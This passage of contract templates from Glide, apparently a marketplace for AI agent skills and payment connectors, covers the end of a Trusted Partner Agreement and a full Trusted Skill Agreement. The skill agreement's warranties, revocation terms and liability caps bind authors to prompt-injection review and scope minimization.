THIS CAP APPLIES SYMMETRICALLY TO BOTH PARTIES — GLIDE'S LIABILITY TO PARTNER AND PARTNER'S LIABILITY TO GLIDE ARE EACH SUBJECT TO THE SAME CAP, REGARDLESS OF WHICH PARTY IS THE PAYOR UNDER ANY SIDE LETTER. THE PARTIES INTEND THE LIABILITY CAP TO BE RECIPROCAL AND PROPORTIONATE TO THE NO-FEE OR LOW-FEE NATURE OF THE VERIFIED TIER PROGRAM.
14.3. **Carve-outs.** The exclusions in Section 14.1 and the cap in Section 14.2 do not apply to:
(a) breach of Section 9 (Confidentiality);
(b) Partner's indemnification obligations under Section 13.1(a) (Section 6.3 malicious-code breach), Section 13.1(b) (IP infringement by the Connector or Partner Marks), or Section 13.1(c) (Partner Service activities);
(c) Glide's indemnification obligations under Section 13.2(b) (IP infringement by Glide Marks);
(d) a Party's gross negligence, willful misconduct, or fraud;
(e) amounts owed under Section 10.5 (export controls) to the extent arising from violation of applicable law; or
(f) any liability that cannot lawfully be limited or excluded under applicable law.
14.4. **Equitable relief.** Notwithstanding any other provision, each Party retains the right to seek injunctive or other equitable relief in any competent court to prevent or restrain breach of Section 4 (Verified Mark license), Section 5 (Partner Marks license), Section 6.3 (no malicious code), or Section 9 (Confidentiality), without the requirement to post bond where permitted by law.
14.5. **Allocation of risk.** The Parties acknowledge that the limitations and exclusions in this Section 14 reflect an informed allocation of risk and form an essential basis of the bargain, given that the Connector code is open-source and Marketplace placement is offered at no fee to regulated partners.
***
## 15. Dispute Resolution and Governing Law
15.1. **Governing law.** This Agreement is governed by, and construed in accordance with, the laws of the State of Delaware, without regard to its conflict-of-laws principles. The U.N. Convention on Contracts for the International Sale of Goods does not apply.
15.2. **Informal resolution first.** Before initiating any formal proceeding, the Parties will attempt in good faith to resolve any dispute by direct discussion between executives with authority to resolve the matter, for at least **30 days** after written notice of the dispute.
15.3. **Arbitration.** If the Parties cannot resolve a dispute under Section 15.2, the dispute will be resolved by final, binding arbitration administered by JAMS in San Francisco, California, under the JAMS Comprehensive Arbitration Rules then in effect, before a single arbitrator. The seat of arbitration is San Francisco, California, and the language is English. Judgment on the award may be entered in any court of competent jurisdiction.
15.4. **Carve-out for equitable relief.** Notwithstanding Section 15.3, either Party may seek temporary, preliminary, or permanent injunctive or other equitable relief in any state or federal court of competent jurisdiction, including the state and federal courts located in Delaware and California, to address (a) actual or threatened infringement, misappropriation, or violation of intellectual-property rights, (b) breach of Section 4 or 5 trademark licenses, (c) breach of Section 6.3 (no malicious code), or (d) breach of Section 9 (Confidentiality).
15.5. **Class-action waiver.** The Parties waive any right to bring or participate in any class, collective, or representative action arising out of or relating to this Agreement. Each dispute will be resolved on an individual basis.
15.6. **Attorney's fees.** In any proceeding under Section 15.3 or Section 15.4, the prevailing Party is entitled to recover its reasonable attorney's fees and costs from the non-prevailing Party, to the extent permitted by applicable law and the rules of the forum.
15.7. **Statute of limitations.** Any claim arising out of or relating to this Agreement must be brought within two (2) years after the claim accrues, or be forever barred, except where applicable law prohibits a contractual shortening of the limitations period.
***
## 16. General Provisions
16.1. **Operator and End Users not parties.** Operators and End Users are not parties to this Agreement and have no rights, claims, or causes of action under it. Operator and End User terms with Partner are governed by separate agreements between those parties; this Agreement does not create, modify, or supersede any such agreement. Nothing in this Agreement is intended to confer rights on third parties under Delaware's third-party-beneficiary rules or otherwise.
16.2. **Independent contractors.** The Parties are independent contractors. Nothing in this Agreement creates a partnership, joint venture, agency, employment, or franchise relationship.
16.3. **No third-party beneficiaries.** This Agreement is for the sole benefit of the Parties and their permitted successors and assigns, and confers no rights on any third party.
16.4. **Force majeure.** Neither Party will be liable for delay or failure to perform (other than payment obligations) caused by circumstances beyond its reasonable control, including acts of God, war, terrorism, civil unrest, labor disputes, internet or telecommunications failures, governmental actions, public-health emergencies, and material failures of underlying cloud or infrastructure providers. The affected Party will notify the other promptly and resume performance as soon as reasonably practicable.
16.5. **Assignment.** Neither Party may assign this Agreement without the other's prior written consent, not unreasonably withheld, except that either Party may assign this Agreement, on written notice and without consent, to (a) an affiliate under common control or (b) a successor in connection with a merger, reorganization, or sale of all or substantially all of its assets to which this Agreement relates, provided the assignee is not a competitor of the non-assigning Party in a manner that materially prejudices the non-assigning Party. Any prohibited assignment is void.
16.6. **Notices.** Notices under this Agreement must be in writing and sent to the addresses in the Parties block, and copied to `legal@[GLIDE_NOTICE_DOMAIN]` (for Glide) and `[PARTNER_NOTICE_EMAIL]` (for Partner). Notice is deemed given on (a) personal delivery, (b) the second business day after deposit with a recognized overnight courier with tracking, or (c) confirmed email delivery (where this Agreement permits email notice). Each Party may update its notice details on written notice to the other.
16.7. **Entire agreement; order of precedence.** This Agreement, together with any side letter expressly referencing it, is the entire agreement of the Parties with respect to the subject matter and supersedes all prior agreements, understandings, and communications on the same subject. In case of conflict, the side letter controls only as to the matters expressly addressed in it; this Agreement otherwise controls.
16.8. **Amendment; waiver.** Any amendment must be in a writing signed by both Parties. A waiver must be in writing signed by the Party granting it; no waiver of one breach is a waiver of any other.
16.9. **Severability.** If any provision of this Agreement is held unenforceable, the remainder remains in full force and effect, and the Parties will substitute an enforceable provision that most closely reflects the original intent.
16.10. **Counterparts; electronic signatures.** This Agreement may be executed in counterparts, each of which is an original and which together constitute one instrument. Electronic signatures (including DocuSign, Adobe Sign, and similar services) are valid and binding.
16.11. **Headings.** Headings are for convenience only and do not affect interpretation. The plural includes the singular and vice versa. "Including" means "including without limitation."
16.12. **Construction.** This Agreement is the result of negotiation between the Parties, and no rule of construction against the drafter applies.
16.13. **Order of definitions.** Where this Agreement defines a term in a section other than Section 1 (such terms cross-referenced in Section 1), the substantive definition in that other section controls.
***
## Acceptance Record
This Agreement is **not signed**. It becomes effective as described in §0 (Acceptance). The operative record of Partner's acceptance is one or more of:
* the GitHub PR or email request promoting the Connector to Verified Trust Tier;
* the audit-log entry recording promotion in the Glide manifest tree;
* the date Partner first uses the Verified Mark in public-facing materials;
* (optional) a wet-signed counterpart provided under §0.5.
Glide retains the operative record. Partner may request a copy at `legal@glide.co`.
***
## Schedule A — Connector Reference
This Schedule is filled in by Glide when the Connector is promoted to Verified Tier. Partner does not sign Schedule A — the values are sourced from the Connector's manifest at promotion time.
| Field | Source |
| -------------------------------------- | --------------------------------------------------------------------------------------------- |
| Connector Slug | `manifest.slug` |
| Connector Path | `packages/connectors//` |
| Major Release / Version Range | `manifest.packageVersion` at time of promotion |
| Declared egress hosts | `manifest.egressHosts` |
| Declared regions | `manifest.regions` |
| Declared currencies | `manifest.currencies` |
| Partner technical contact | Partner's email-of-record on the promotion request |
| Partner security contact | `SECURITY.md` in Partner's repository, or email-of-record |
| Partner legal/notice contact | Partner's email-of-record (Partner may supply a different legal contact via `legal@glide.co`) |
| Glide review checklist completion date | Audit log on the promotion PR |
| Glide reviewers (2 required) | CODEOWNERS reviewers on the promotion PR |
## Schedule B — Side-Letter Slot (Commercial Extensions, if any)
Reserved for an optional separately-executed side letter governing Glide-Cloud-only commercial extensions (review grants, sponsored placement, payout integrations). Absent a signed side letter, no fees flow under this Agreement and Section 14.2(b) governs the liability cap.
***
*End of Trusted Partner Agreement template — ready for counsel review.*
# Trusted Skill Agreement (template, use-based consent)
Source: https://glide-9da73dea.mintlify.app/oss/legal/trusted-skill-agreement
Use-based consent contract between Glide and a Verified-tier skill author. No countersign required.
**Canonical source:** [`docs/TRUSTED_SKILL_AGREEMENT.md`](https://github.com/darshanbathija/axtior-neobank/blob/main/docs/TRUSTED_SKILL_AGREEMENT.md)
This page mirrors the canonical file. For execution, copy from the source repo to ensure latest revisions.
# Trusted Skill Agreement (TSA)
**Status:** Use-based consent. No countersign required.
**Form:** v1.1
**Last revised:** 2026-04-27
This Trusted Skill Agreement ("**Agreement**") governs the relationship between:
* **Axtior, Inc.**, a Delaware corporation doing business as **Glide** ("**Glide**"), and
* The legal entity or natural person who owns or controls the agent skill identified by the slug `[SKILL_ID]` (the "**Skill**") and whose Skill is promoted to Verified trust tier in the Glide Marketplace ("**Skill Author**").
Glide and Skill Author are each a "**Party**" and collectively the "**Parties**." This Agreement governs the promotion of the Skill to the **Verified** trust tier in the Glide Marketplace and the prompt-injection / scope-minimization commitments that promotion entails. It does **not** govern the Skill's underlying source code, which remains licensed under MIT (see §3).
The TSA is intentionally **lighter** than Glide's Trusted Partner Agreement (TPA) for connectors, because skills do not directly handle regulated money movement — the Glide policy engine and grant JWTs do. The TSA's heart is anti-abuse: prompt-injection review, scope minimization, and the Verified-mark revocation right.
### How this differs from the TPA (one-page summary)
A skill author should expect to read this in a single sitting. **No wet signature is required** — see §0 below for the use-based acceptance mechanic. Compared to the connector-side TPA, the TSA:
* has **no MSB / money-transmitter / KYC / OFAC** operational obligation on Skill Author (those live with Glide + connectors);
* has a **lower liability cap** (USD \$1,000 floor vs. the connector cap which is denominated against transaction volume);
* has a **shorter cure window** for emergency security fixes (7 days vs. the TPA's 30) — because skill exploits are higher-leverage given the LLM-orchestration surface;
* requires **prompt-injection review** at every major release, which the connector TPA does not require;
* carries the **same** Delaware governing law / JAMS SF arbitration / class-action waiver structure;
* preserves the Skill's **MIT license unconditionally** — Skill Author can always fork.
***
## 0. Acceptance — How This Agreement Becomes Effective
0.1 **No countersign required.** Glide distributes this Agreement as a use-based consent instrument rather than a wet-signed contract. Skill Author accepts this Agreement by performing **any one** of the following acts after this Form (v1.1) is published at `glide.co/docs/oss/legal/trusted-skill-agreement`:
(a) requesting promotion of the Skill from `community` to `verified` Trust Tier (whether by GitHub PR, email, or in-product flow);
(b) maintaining the Skill at Verified Trust Tier for any continuous period of 30 days after this Form's publication; or
(c) using the Glide "Verified Skill" mark in any public-facing materials (website, README, marketplace listing, conference signage, or otherwise).
0.2 **Effective Date.** This Agreement becomes effective with respect to Skill Author on the earliest date Skill Author performs an act described in §0.1 (the "**Effective Date**").
0.3 **Authority.** The natural person taking the act described in §0.1 represents that they have authority to bind Skill Author. Glide may rely on that representation without further inquiry.
0.4 **Form bumps.** Glide may publish a new Form of this Agreement at any time. A Form bump that increases Skill Author's obligations becomes effective for an existing Verified Skill only when Skill Author first performs an act described in §0.1 with respect to the new Form (typically the next Major Release of the Skill or 60 days after publication, whichever is earlier). Until then, the prior Form continues to govern.
0.5 **Optional countersigned counterpart.** If Skill Author's counsel requires a wet-signed counterpart, Skill Author may request one from `legal@glide.co` and Glide will provide a counterpart on Glide letterhead, signed by an authorized officer of Glide. The countersigned counterpart is a *record* of acceptance, not a *condition* of acceptance — the use-based mechanic in §0.1 is the operative one.
0.6 **Withdrawal.** Skill Author may withdraw acceptance prospectively at any time by either (i) requesting demotion of the Skill to `community` Trust Tier, or (ii) ceasing all use of the Verified mark and notifying Glide at `legal@glide.co`. Withdrawal does not relieve Skill Author of obligations that accrued during the term, including any indemnity, confidentiality, or accrued-fees obligations that survive under §8.
***
## 1. Definitions
1.1 "**Glide**" means Axtior, Inc., the Delaware corporation operating the `glide.co` orchestration shell, the `glide.co/skills` Marketplace, and the trust-tier review process.
1.2 "**Skill Author**" means the legal entity or natural person identified above who authors, maintains, and submits the Skill for Verified-tier promotion.
1.3 "**Skill**" means the specific agent automation identified by the slug `[SKILL_ID]`, including its `manifest.ts`, consent-flow UI, policy-envelope template, tool-manifest scope list, and supporting code, residing at `packages/skills/[SKILL_ID]/` in the `glide-oss` repository (or a designated downstream fork). The term excludes any user-supplied data or runtime traffic.
1.4 "**Verified Tier**" means the middle Glide skill trust tier defined in `packages/skills/_base/src/manifest.ts` as `SkillTrustTier.verified`. A Verified Skill (a) ships enabled by default in the Marketplace catalog (subject to per-tenant opt-in), (b) carries the lavender "Verified" badge, and (c) is bound by a current TSA Form per §0 (no wet-signed counterpart required).
1.5 "**Marketplace**" means the public catalog hosted at `https://glide.co/skills` (canonical) and any embedded Glide-controlled distribution surface, including the in-product Skill Catalog at `apps/web/src/app/(public)/skills/`, mirrored partner-pack listings (e.g., Anthropic Connector Registry, Google Vertex Agent Tools, ChatGPT Apps Directory, OpenClaw Registry, Hermes Registry), and Glide Cloud catalog APIs.
1.6 "**Tenant**" means an end-user customer of Glide (whether on Glide Cloud or a self-hosted instance) who installs the Skill into their workspace. Tenants are **not** parties to this Agreement; the contract surface between Glide and a Tenant is the Glide Tenant Terms of Service, and the contract surface between a Tenant and the Skill at runtime is the consent flow plus the resulting Policy Envelope.
1.7 "**Policy Envelope**" means the per-skill default object validated by `SkillPolicyTemplate` (e.g., `perTxMaxUsdCents`, `dailyCapUsdCents`, `velocityCap`, `counterpartyAllowlist`, `timeWindow`) shipped by the Skill at install time. The Tenant may **tighten** the envelope at install but the Skill must not loosen it at runtime.
1.8 "**Tool Manifest**" means the `requiredScopes` array declared in the Skill's `manifest.ts` and the resulting MCP tool registrations. It enumerates the closed-vocabulary scopes (e.g., `payments:initiate`, `cards:manage`, `audit:stream`) the Skill requests.
1.9 "**Prompt Injection**" means any technique — direct, indirect, retrieval-poisoning, multi-turn, or otherwise — by which an adversarial input causes the Skill, the underlying LLM, or any orchestrated tool call to take action outside the Tenant's intended Policy Envelope. The reference taxonomy is the OWASP LLM Top-10 ("LLM01: Prompt Injection") and NIST AI 600-1 (Generative AI Profile).
1.10 "**Consent Flow**" means the install-time UI snippet (`install.tsx`) and `consentSummary` string surfaced to a Tenant before the Skill's grant JWT is minted. The Consent Flow's job is to faithfully and plainly disclose the money-touching surface and the default Policy Envelope.
1.11 "**P1 Security Finding**" means a vulnerability or design defect that, if exploited, would (a) cause the Skill to broadcast or simulate a payment outside the disclosed Policy Envelope, (b) exfiltrate Tenant PII or credentials via tool calls, or (c) bypass Tenant consent. The classification is consistent with the severity rubric in `docs/THREAT_MODEL.md`.
1.12 "**Verified Mark**" means the lavender "Verified" badge, the word "Verified" applied to the Skill in the Marketplace, and any associated visual indicia controlled by Glide.
***
## 2. Scope of the Agreement
2.1 **What this Agreement does.** It (a) certifies the Skill for the Verified Tier, (b) grants Marketplace listing and co-marketing rights, (c) extracts narrow, bounded warranties from Skill Author about prompt-injection posture and scope minimization, and (d) defines Glide's right to revoke the Verified Mark for cause.
2.2 **What this Agreement does not do.** It does **not** (a) license the Skill's source code (which remains MIT under §3), (b) make Skill Author a money-services business, payment processor, or fiduciary, (c) bind any Tenant, (d) make Glide a redistributor of regulated services, or (e) impose any obligation incompatible with the Skill's MIT license.
2.3 **Term-of-art carve-out.** Skill Author may at all times fork the Skill under MIT, distribute that fork under any name **other than** "Verified," "Glide Verified," or any confusingly similar designation, and host it outside the Glide Marketplace. Nothing in this Agreement chills that right.
***
## 3. License Grants and Reservation of Rights
3.1 **Skill code remains MIT.** The Skill's source code is and remains licensed under the MIT license carried in the `glide-oss` repository. Nothing in this Agreement modifies that license.
3.2 **Trademark license to Glide (narrow).** Skill Author grants Glide a worldwide, royalty-free, non-exclusive, non-transferable license, during the Term, to use Skill Author's name, logos, and the Skill's display name solely for (a) Marketplace listing, (b) catalog and consent-flow UI, (c) co-marketing materials about Glide skills, and (d) factual statements about the Verified-tier status of the Skill. Glide will follow Skill Author's reasonable trademark guidelines if provided in writing.
3.3 **Verified Mark license to Skill Author (narrow).** Glide grants Skill Author a worldwide, royalty-free, non-exclusive, non-transferable, non-sublicensable, **revocable** license, during the Term, to use the Verified Mark solely in connection with the Skill, in unmodified form, with the Marketplace listing as the canonical reference. Skill Author may not (a) apply the Verified Mark to forks of the Skill not promoted through the Marketplace, (b) imply Glide endorsement of unrelated products, or (c) use the Verified Mark after revocation or expiration. Glide may publish brand-use guidelines from time to time; Skill Author will conform within thirty (30) days of written notice.
3.4 **Reservation of rights.** All rights not expressly granted are reserved. No implied license arises by estoppel or otherwise.
***
## 4. Skill Author Warranties — The Anti-Abuse Heart
4.1 **Prompt-injection review attestation.** Skill Author warrants that, as of each Verified-tier submission, Skill Author has:
(a) reviewed the Skill's Consent Flow, system prompt(s), tool descriptions, and retrieved-context paths against the prompt-injection checklist published at `docs/THREAT_MODEL.md` (including the OWASP LLM Top-10 LLM01 controls and NIST AI 600-1 Generative AI Profile guidance);
(b) tested the Consent Flow and Tool Manifest against at least the prompt-injection vectors enumerated in the Glide CI prompt-injection-review checklist current at the time of submission, and the Skill is not, to Skill Author's actual knowledge after that review, vulnerable to any of those vectors;
(c) has not introduced any instruction, hidden directive, or side-channel intended to silently grant higher caps, bypass Tenant consent, or override the published Policy Envelope at runtime; and
(d) will re-execute this review at every major release of the Skill (any change to `manifest.ts` semver-major, system prompts, tool descriptions, or retrieved-context paths).
4.2 **Scope-minimization affidavit.** Skill Author warrants that the `requiredScopes` declared in the Skill's `manifest.ts` are the **minimum** scopes necessary for the Skill's disclosed function (principle of least privilege), and that no scope is requested for speculative or future functionality not described in the Consent Flow.
4.3 **Policy-envelope-template integrity.** Skill Author warrants that the default Policy Envelope shipped with the Skill (a) is internally consistent (e.g., `perTxMaxUsdCents` ≤ `dailyCapUsdCents` when both are set), (b) corresponds plainly to the figures stated in the `consentSummary`, and (c) does not contain runtime branches that loosen the envelope after install.
4.4 **No malicious behavior.** Skill Author warrants the Skill does not (a) exfiltrate Tenant PII, credentials, or audit-stream events to any destination not declared in the Skill manifest, (b) embed hidden side-effects (e.g., undisclosed counterparty additions, unsolicited beneficiary writes), (c) circumvent the policy engine, grant-wrapper, or audit-stream subsystems, or (d) include instructions designed to manipulate the underlying LLM into taking action against the Tenant's stated intent.
4.5 **Compliance pass-through.** Money-movement compliance (KYC, sanctions screening, transaction monitoring, MSB / money-transmitter licensure, BSA/AML reporting, FinCEN registration) is the responsibility of Glide and the Tenant's connector vendors via the Glide policy engine, grant-wrapper subsystem, and the connectors at `packages/connectors//` — **not** the Skill. The architectural division is:
(a) **Skill** — declares scopes, ships an envelope template, drives consent UX. No money custody.
(b) **Policy engine** (`packages/policy-engine/`) — evaluates each tool call against the installed envelope at runtime. Hard enforcement.
(c) **Connectors** (`packages/connectors/`) — execute the actual money movement under their own regulated rails (Bridge, Privy, payment processors). Compliance burdens (KYC, OFAC, MSB) live here.
Skill Author's compliance obligation is therefore limited to (i) signing off on the default Policy Envelope template, (ii) the warranties in §§4.1–4.4, and (iii) export-control and applicable-law obligations in §11. Skill Author owes no MSB, money-transmitter, or BSA/AML obligation under this Agreement.
4.6 **AS IS beyond §§4.1–4.5.** Except for the narrow warranties in this §4, the Skill is provided "AS IS" and Skill Author disclaims all other warranties, express or implied, including merchantability, fitness for a particular purpose, accuracy, and non-infringement, to the maximum extent permitted by law. Glide makes no warranties to Skill Author beyond §5.
***
## 5. Glide Obligations and Disclaimers
5.1 **Listing and discovery.** Glide will (a) list the Skill in the Marketplace under the Verified Tier during the Term, (b) display the Skill on `glide.co/skills` and in-product catalog surfaces consistent with other Verified skills, and (c) include the Skill in good-faith co-marketing materials at Glide's discretion.
5.2 **Review process.** Glide will review submissions in good faith against the criteria in §§4 and `docs/SKILLS.md` and provide written feedback on rejections within fourteen (14) days. Glide retains sole discretion over Verified-tier admission and may reject submissions for any non-discriminatory reason.
5.3 **Marketplace operation.** Glide does not warrant that the Marketplace will be available without interruption or that any particular Tenant will install the Skill. Glide may modify the Marketplace UI, catalog, or discovery algorithms at any time.
5.4 **No fiduciary duty.** Nothing in this Agreement creates a fiduciary, agency, partnership, joint-venture, or employment relationship between the Parties.
5.5 **AS IS beyond §5.1–5.2.** Beyond the listing and review obligations in §§5.1–5.2, Glide's services are provided "AS IS" and Glide disclaims all warranties to Skill Author, express or implied, to the maximum extent permitted by law.
***
## 6. Tenants Are Not Parties
6.1 **No third-party beneficiaries.** Tenants are not parties to this Agreement and acquire no rights under it. The contract surface between Glide and the Tenant is the Glide Tenant Terms of Service. The contract surface between the Tenant and the Skill at runtime is the Consent Flow plus the resulting Policy Envelope.
6.2 **No support obligation to Tenants.** This Agreement does not impose on Skill Author any obligation to provide support, indemnification, or warranty to any Tenant. Skill Author may offer Tenant support voluntarily on its own terms.
6.3 **Glide is the policy backstop.** Tenants rely on Glide's policy engine — not on the Skill — for runtime enforcement of caps, allowlists, and step-up authentication. The Skill's role is to install a sensible default envelope; the engine enforces it.
***
## 7. Verified-Mark Revocation, Suspension, and Cure
7.1 **Routine revocation (cause; 14-day cure).** Glide may revoke the Verified Mark for cause, including (a) material breach of §4 warranties, (b) introduction of a non-emergency prompt-injection vector, (c) failure to maintain a published Skill release for nine (9) consecutive months, or (d) failure to respond to a Glide review request within thirty (30) days. Glide will give Skill Author written notice and a fourteen (14) day cure period before revocation takes effect.
7.2 **Emergency suspension (P1 finding).** On a P1 Security Finding, Glide may **immediately** suspend the Verified Mark, delist the Skill from the Marketplace, and notify affected Tenants that the Skill has been moved to community tier or removed. The remediation ladder is:
(a) **Hour 0** — Glide notifies Skill Author at the security contact on the signature page.
(b) **Hour 0–24** — Skill Author acknowledges and shares the initial triage.
(c) **Day 0–7** — Skill Author has a seven (7) day right to remediate (ship a fix, re-attest under §4.1).
(d) **Day 7+** — If unremediated, suspension converts to revocation under §7.1; Glide may also publish a coordinated disclosure under §7.3.
Glide may extend the seven-day window in writing where the underlying defect is in a shared dependency outside Skill Author's reasonable control.
7.3 **Public communication.** During suspension or after revocation, Glide may publish a factual incident note describing the issue and remediation status. Glide will share the draft with Skill Author at least twenty-four (24) hours before publication where the timeline permits.
7.4 **Skill remains MIT post-revocation.** Revocation of the Verified Mark does not affect the Skill's MIT license. Skill Author may continue to distribute, fork, or re-submit a remediated version under any non-Verified branding.
7.5 **Re-submission after revocation.** A revoked Skill may be re-submitted for Verified Tier after remediation; Glide will treat re-submission as a new review.
***
## 8. Term and Termination
8.1 **Term.** This Agreement commences on the Effective Date and continues for one (1) year. It auto-renews for successive one-year terms unless either Party gives the other thirty (30) days' written notice of non-renewal.
8.2 **Termination for breach.** Either Party may terminate on fourteen (14) days' written notice for material breach uncured after the same cure period; provided that, for P1 Security Findings, the seven-day remediation window in §7.2 controls.
8.3 **Termination for convenience by Skill Author.** Skill Author may terminate this Agreement at any time on thirty (30) days' written notice; on termination, the Skill returns to community tier on the next Marketplace publish.
8.4 **Survival.** §§1, 3.4, 4 (with respect to past representations), 6, 9, 10, 11, 12, and 13 survive termination. The confidentiality term in §10 survives for three (3) years after termination.
8.5 **Effect of termination.** On termination or revocation, Skill Author will cease use of the Verified Mark, and Glide will remove the Verified badge from the Marketplace listing within seven (7) days. The Skill's source code remains MIT.
***
## 9. Risk Allocation
9.1 **Mutual liability cap.** Each Party's aggregate liability under or in connection with this Agreement, in contract, tort, or otherwise, will not exceed the **greater of**: (a) the total fees paid by Glide to Skill Author (or Skill Author to Glide, as applicable) under this Agreement during the six (6) months immediately preceding the event giving rise to the claim, or (b) **one thousand U.S. dollars (USD \$1,000)**, which is the cap that applies to fee-free Verified skills (the default at v1, where the Verified Tier carries no listing or revenue-share fee in either direction). Hosting reimbursements and pass-through expenses are excluded from "fees" for the purpose of this cap. The cap is intentionally proportionate to the Skill's complexity — skills do not custody, transmit, or settle funds (§9.7), so liability is bounded relative to the orchestration role.
9.2 **Exclusion of consequential damages.** Neither Party will be liable for indirect, incidental, special, consequential, exemplary, punitive, or lost-profits damages, even if advised of the possibility, except where prohibited by applicable law.
9.3 **Carve-outs from cap and exclusion.** The cap in §9.1 and the exclusion in §9.2 do **not** apply to (a) Skill Author's breach of the no-malicious-behavior warranty in §4.4, (b) either Party's breach of the confidentiality obligations in §10, (c) either Party's indemnification obligations in §9.4, (d) gross negligence or willful misconduct, or (e) liabilities that cannot be limited under applicable law.
9.4 **Indemnification by Skill Author.** Skill Author will defend and indemnify Glide against third-party claims arising from (a) Skill Author's breach of §4.1 (prompt-injection attestation), §4.2 (scope minimization), §4.3 (envelope integrity), or §4.4 (no malicious behavior), (b) Skill Author's infringement of third-party IP via the Skill, or (c) Skill Author's use of the Verified Mark outside the §3.3 license.
9.5 **Indemnification by Glide.** Glide will defend and indemnify Skill Author against third-party claims arising from (a) Glide's misuse of Skill Author's trademarks beyond the §3.2 license, (b) Glide's gross negligence in operating the Marketplace such that the Skill is misrepresented, or (c) Glide's breach of confidentiality in §10.
9.6 **Indemnification process.** The indemnified Party will (a) promptly notify the indemnifying Party of the claim, (b) tender sole control of defense and settlement (provided no admission of liability binds the indemnified Party without consent), and (c) reasonably cooperate at the indemnifying Party's expense.
9.7 **Skills handle no money directly.** Skill Author and Glide acknowledge that the Skill orchestrates tool calls but does not itself custody, transmit, or settle funds. Money movement is enforced by the Glide policy engine and grant-JWT-bearing connectors. This allocation underpins the proportionate liability cap in §9.1.
***
## 10. Confidentiality
10.1 **Confidential Information.** Each Party may disclose to the other non-public information marked or reasonably understood to be confidential, including (a) Tenant traffic patterns shared in P1 incident response, (b) vulnerability reports and exploit details, (c) pre-release Marketplace analytics, and (d) draft co-marketing materials. The Skill's source code is **public** under MIT and is **not** Confidential Information; nothing in this §10 may be construed to restrict (i) Skill Author's right to fork, redistribute, or relicense the Skill code, (ii) any party's right to study the public source via the `glide-oss` repository, or (iii) Tenants' rights to inspect installed Skill code in their workspace.
10.2 **Obligations.** The receiving Party will (a) use Confidential Information solely to perform under this Agreement, (b) protect it with the same care as its own confidential information of like sensitivity (and no less than reasonable care), and (c) limit access to personnel with a need to know who are bound by confidentiality obligations no less protective.
10.3 **Exceptions.** Confidentiality does not apply to information that is (a) publicly available without breach, (b) independently developed without reference to disclosed information, (c) rightfully received from a third party without confidentiality obligation, or (d) required by law to be disclosed (with prompt notice to the disclosing Party where lawful).
10.4 **Term.** Confidentiality survives for three (3) years after termination of this Agreement.
10.5 **Coordinated security disclosure.** Vulnerability reports follow the timeline in §12.4; both Parties will treat the underlying technical details as Confidential Information until coordinated public disclosure.
***
## 11. Compliance with Applicable Law
11.1 **Export controls.** Skill Author will not make the Skill available to, or for the benefit of, persons or jurisdictions subject to U.S., EU, or U.K. comprehensive sanctions, currently including Cuba, Iran, North Korea, Syria, the Crimea / Donetsk / Luhansk regions of Ukraine, and any successor or expansion lists, without an applicable license from the relevant governmental authority. The canonical references are the OFAC sanctions list at `https://sanctionssearch.ofac.treas.gov/`, the BIS Entity List at `https://www.bis.doc.gov/index.php/policy-guidance/lists-of-parties-of-concern/entity-list`, and the EU consolidated list. Skill Author warrants it is not, and is not majority-owned by anyone, on the OFAC SDN list, the BIS Entity List, the BIS Denied Persons List, or the EU consolidated sanctions list. Note: this restriction governs the Verified-tier promotion; the underlying Skill source code remains MIT-licensed and is, as a matter of law, generally exportable EAR99 software not requiring a license.
11.2 **Data protection.** To the extent the Skill processes personal data of Tenants or end-users, Skill Author will comply with applicable data-protection law including the GDPR, the UK GDPR, and the CCPA/CPRA. The Skill must not exfiltrate personal data to destinations not declared in the manifest. A data-processing addendum may be executed if a Tenant's deployment configuration requires it; that addendum is a separate instrument.
11.3 **AI safety frameworks.** Where helpful, Skill Author will reference the OWASP LLM Top-10 and NIST AI Risk Management Framework (NIST AI 100-1) in its prompt-injection review documentation. Adherence is a best-practices touchstone, not a separate warranty beyond §4.1.
11.4 **Anti-bribery.** Each Party will comply with applicable anti-bribery and anti-corruption laws (FCPA, UK Bribery Act, equivalents).
11.5 **Open-source commitment.** Both Parties acknowledge the Skill is and remains MIT-licensed. Nothing in this Agreement, including any compliance obligation, may be enforced in a manner that would require Skill Author to relicense or restrict the Skill's MIT distribution.
***
## 12. Anti-Abuse and Integrity Operations
12.1 **Prompt-injection review.** Each Verified-tier submission requires a fresh prompt-injection review attestation under §4.1, signed at the major-release granularity. A "major release" tracks `manifest.ts` semver-major bumps and any change to system prompts, retrieved-context paths, or tool descriptions.
12.2 **No telemetry exfiltration.** The Skill must not transmit Tenant data, audit-stream events, or grant-JWT contents to any host not declared in the connector manifest's egress-host list referenced by the Skill. The audit-stream subsystem is the canonical observability path.
12.3 **No runtime override of the Policy Envelope.** The Skill's runtime behavior must remain inside the installed Policy Envelope. The policy engine is the enforcement boundary; any attempt to bypass it (e.g., via a tool description that instructs the LLM to ignore caps) is a §4.4 breach.
12.4 **Security disclosure timeline.** On discovery of a P1 Security Finding, Skill Author will notify Glide at `security@glide.co` (or such other channel as Glide designates) within twenty-four (24) hours of becoming aware. Both Parties will coordinate public disclosure once a fix is available, targeting a ninety (90) day disclosure window or earlier with mutual consent.
12.5 **Glide audit right.** Glide may, on reasonable written notice and no more than twice per calendar year (excluding incident response), request a written attestation that §§4.1–4.4 remain accurate. Glide may also re-run automated CI gates (manifest validation, contract tests, prompt-injection-review checklist, scope-minimization affidavit) at any time.
12.6 **Glide's revocation right (reaffirmed).** Independent of any other remedy, Glide may revoke or suspend the Verified Mark per §7 for any §4 breach, P1 Security Finding, or failure to meet §12 commitments.
12.7 **Forensic preservation.** Following a P1 Security Finding, Skill Author will preserve relevant logs, code revisions, and review notes for ninety (90) days to support coordinated remediation. Records may be subject to confidentiality under §10.
***
## 13. Dispute Resolution
13.1 **Governing law.** This Agreement is governed by the laws of the **State of Delaware**, USA, without regard to conflict-of-laws rules. The U.N. Convention on Contracts for the International Sale of Goods does not apply.
13.2 **Informal resolution first.** The Parties will first attempt to resolve any dispute informally for thirty (30) days after written notice describing the dispute.
13.3 **Binding arbitration.** Any dispute not resolved informally will be finally resolved by binding arbitration administered by **JAMS** under its Streamlined Arbitration Rules, seated in **San Francisco, California**, before a single arbitrator. The arbitrator may award any remedy a court could, subject to the limitations in §9.
13.4 **Carve-out for injunctive relief.** Either Party may seek injunctive or equitable relief in any court of competent jurisdiction to (a) protect intellectual-property rights, (b) prevent unauthorized use of the Verified Mark, (c) enjoin a P1 Security Finding's exploitation, or (d) enforce confidentiality.
13.5 **Class-action waiver.** Each Party waives any right to participate in a class, collective, or representative action against the other arising under this Agreement.
13.6 **Attorney-fee reciprocity.** The prevailing Party in any dispute under this Agreement is entitled to recover reasonable attorney's fees and costs from the non-prevailing Party, subject to the arbitrator's or court's discretion.
